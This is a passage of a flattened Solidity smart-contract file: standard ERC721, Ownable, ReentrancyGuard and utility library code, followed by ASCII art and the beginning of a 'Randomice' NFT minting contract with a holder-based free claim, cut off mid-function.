transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /*,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,@@@,,,,,,,,,,,,,,,,,,,@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,@@*#@,,,,,,,,,,,,,,,,,,@@[email protected]@,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,@@***@@,,,,,,,,,,,,,,,@@,[email protected]@,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,@@****@#,,,,,,,,,,,,,@@...,@,,,,,,,,,,,,,,,,,@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@* **@@,,,,,, ,,,,@@....(@,,,,,,,,,,,,,,,,@@[email protected],,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@** ***@@,,,,, ,,(@@[email protected]@*,,,,,,,,,,,,,@@[email protected]@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@/@@* ****[email protected]@,,,,,,,@@[email protected]@@@[email protected]@,,,,,,,,,,,@@([email protected]@@@ /@@@@,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,*@@/@/*,,****[email protected]@%,@@@..*@@,@@..,@*,,,,,,,,@@%.. [email protected]@ #@@@@@. @@@,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,*@@@@@@,,,,,,,,,,,,@@@********[email protected]@//,,@@[email protected]@/,,,,*@@..... [email protected]@@@*,,,,,,,@@ [email protected]@,,,,,,,,,,,,,,,,,, ,,,,,,,,,,@@@@ &@@@@@,,,,,@@** ****[email protected]@@@/@@@@[email protected]@@@@[email protected]@@,,,,,,,,,,@@ @@,,,,,,,,,,,,,,,,,, ,,,,,,,@@@ &@@@,@@** *****[email protected]@/,,@@................. [email protected]@/@@,,,,,,,,,@@ @@,,,,,,,,,,,,,,,,,, ,,,,,,@@ [email protected]@@@@@@@@@@@ @@@*** *****[email protected]#@@.................. ./@//@@,,,,,,,,@@ @@,,,,,,,,,,,,,,,,,, ,,,,,@@ [email protected]@,,,,,,,,,,,,@@@ [email protected]@@@@@@@@*........ @@@.................. [email protected]@@@,,,,,,,,,@@ @@,,,,,,,,,,,,,,,,,,, ,,,,,@@ (@*,,,,,,,,,,,,,,,,@@ @@@@@@@@@@....... . ..... [email protected]@,,,,,,,,,,,@@ @@,,,,,,,,,,,,,,,,,,,, ,,,,,@@ @@,,,,,,,,,,,,,,,,,,@@ [email protected]@@@@@@@@@[email protected]@,,,,,,,,,,@@ @@,,,,,,,,,,,,,,,,,,,,, ,,,,,,@@ @@,,,,,,,,,,,,,,,,,,,@@ @@@@@,,,,,,,,,@@@ @@*,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,@@ @@,,,,,,,,,,,,,,,,,,@@ /@@@@@@@@. @@@,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,@@ @@,,,,,,,,,,,,,,,,,@@ [email protected]@,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,(@@ @@,,,,,,,,,,,,,,@@ @@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,@@ (@@@,,,,,,,@@@/ @@@@@@@@@@. @@@ @@#,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,@@@. /@@* @@@ @@@ *@@ @@@@,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,@@@@ *@ @@@@@ @@ ,@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@ @@ @@@@@@@@@@@ @@ @@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@ [email protected]@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@, @@ @@@@@@@@@@@@@@ @@@@&@@@@@@@@@@@@,,,,,,,,,,,,@@,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@% @@ @@@@@@@@ /@@@& @@@@,,,,,,,,,,,,,,#@@,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@ @@@@@@@( @@@@@@ [email protected]/,,,,@@,,,,,,,@@@,,(@@,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@ @@*,,,,@@@ @@@@@@@@@@,,,,,,@@@,,,,,,@@@,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@ @@@@@@@@ [email protected]@@@@@@@@@/@@@@@@@@ @@,,,,,@@ . [email protected]@,,,,,,,,,,,,,,,,,,@@[email protected]@(,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@ *@@@@& (@@. [email protected]@@@@ . @@@@@@@@@,,,,,,,,,,,,@@[email protected]@@,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@ @@@ @@*,,,,,,,,*@(,,,/@@/,,@@[email protected]@,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,*@@ @@@#. . @@,,,,,,,,,,,,,,,,,,,,,%@[email protected]@,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@ @@@@@@@@@ @@@@ @@,,,,,,,,,,,,,,,,,,,,,,@@[email protected]@,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@ &@@ %@@@@@@@& @@,,,,,,,,,,,,,,,,,,,,@@@[email protected]@@,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@. @@%%%%%%@@%@@@@@@,,,,,,,,,,,,,,,@@@@@@,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@ @@ @@@%%@@%%%%%%@@@@@@%,,,,,,,,,@@@@,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@(@@@ @@ @@@%%%%%%@%%%%%%@@@@@,,,,,@@@,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@(((((((@@@ @@@((((@@@%%@@%%%%%%@@%%%@@@@@,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@(((((((((((@@@@ @@@@(((((((((@@@@@@%%%%%%@%%@@@(((@@,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(@@(((((((((((((((@@@@@@@@@@@@@@@@(((((((((((((((@@,,@@@%%%%@@@(((((@@,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@(@@((((((((((((((((((((((((((((((((((((((((((((@@,,,,,,@@@@@(((((@@@,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@((((@(((((((((((((((((((((((((((((((((((((((@@@@@@@,,,,,,,,@@@@@@@,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@%(((((((((((((((((((((((((((((((((((((((((@((((((((@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@((((((((((((((((((((((((( (((((((((( ((((((((((((@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@(((((((((((((((((* ,( .((( (( ((( //(((((((((((((@@,,,,,,,,@spiridono,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,@@(((((((((((((@/(( (. ,(( (( ,( (( (( . ((@@(((((((((@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,@@((((((((((((@@(((/ ((((((( ((((((((((((((((((&@(((((((((@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, */ /*built by mice, for everyone*/ pragma solidity ^0.8.10; contract Randomice is ERC721, Ownable, ReentrancyGuard { using Strings for uint256; string public baseURI; uint256 public cost = 0.025 ether; uint256 public minted; uint256 public maxSupply = 6969; //nice uint256 public maxMint = 10; bool public status = false; address miceAddr = 0xbad6186E92002E312078b5a1dAfd5ddf63d3f731; //Anonymice address doodlesAddr = 0x8a90CAb2b38dba80c64b7734e58Ee1dB38B8992e; //Doodles address babyMiceAddr = 0x15Cc16BfE6fAC624247490AA29B6D632Be549F00; //Baby Mice mapping(address => bool) public mintlist; constructor() ERC721("RandoMice", "RMICE") {} //checks if address owns at least one token from either of the qualifying collections function isHolder(address _wallet) public view returns (bool) { ERC721 miceToken = ERC721(miceAddr); uint256 _miceBalance = miceToken.balanceOf(_wallet); ERC721 doodlesToken = ERC721(doodlesAddr); uint256 _doodlesBalance = doodlesToken.balanceOf(_wallet); ERC721 babyMiceToken = ERC721(babyMiceAddr); uint256 _babyMiceBalance = babyMiceToken.balanceOf(_wallet); return (_miceBalance + _doodlesBalance + _babyMiceBalance > 0); } //public mint function mint(uint256 _mintAmount) public payable nonReentrant{ require(status, "Sale inactive" ); require(msg.sender == tx.origin, "No contracts!"); require(_mintAmount <= maxMint, "Too many" ); require(minted + _mintAmount <= maxSupply, "Would excced supply" ); require(msg.value >= cost * _mintAmount, "Not enough ETH"); for (uint256 i = 0; i < _mintAmount; i++) { minted++; _safeMint(msg.sender, minted); } } //free claim for qualifying holders function claim(address _wallet) external nonReentrant { require(status, "Sale inactive" ); require(msg.sender == tx.origin, "No contracts!"); require(minted + 1 <= maxSupply, "Would excced supply" ); (bool _holder) = isHolder(_wallet); require(_holder, "Must own at least one qualifying NFT to claim!"); require(mintlist[_wallet] != 